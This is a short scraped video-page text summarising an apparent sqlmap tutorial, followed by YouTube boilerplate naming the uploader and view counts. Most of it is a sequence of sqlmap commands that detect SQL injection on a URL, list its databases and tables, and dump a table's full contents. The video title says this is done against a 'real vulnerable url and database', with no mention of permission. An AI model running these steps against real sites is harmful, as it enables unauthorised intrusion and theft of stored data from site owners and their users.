TO sum up:
python sqlmap.py -u here you place url
If its vulnerable then
python sqlmap.py -u here you place url --tables and press ctrl C after all databases not tables have been fetched
python sqlmap.py -u here you place url --tables -D database here to view tables of datbase
python sqlmap.py -u here you place url --dump -D databse here -T table here tjis command will view you alle the content of a table inside a database
On this page of the site you can watch the video online sqlmap tutorial with real vulnerable url and datbase! with a duration of hours minute second in good quality, which was uploaded by the user DeadSh0t 02 October 2017, share the link with friends and acquaintances, this video has already been watched 798 times on youtube and it was liked by 5 viewers. Enjoy your viewing!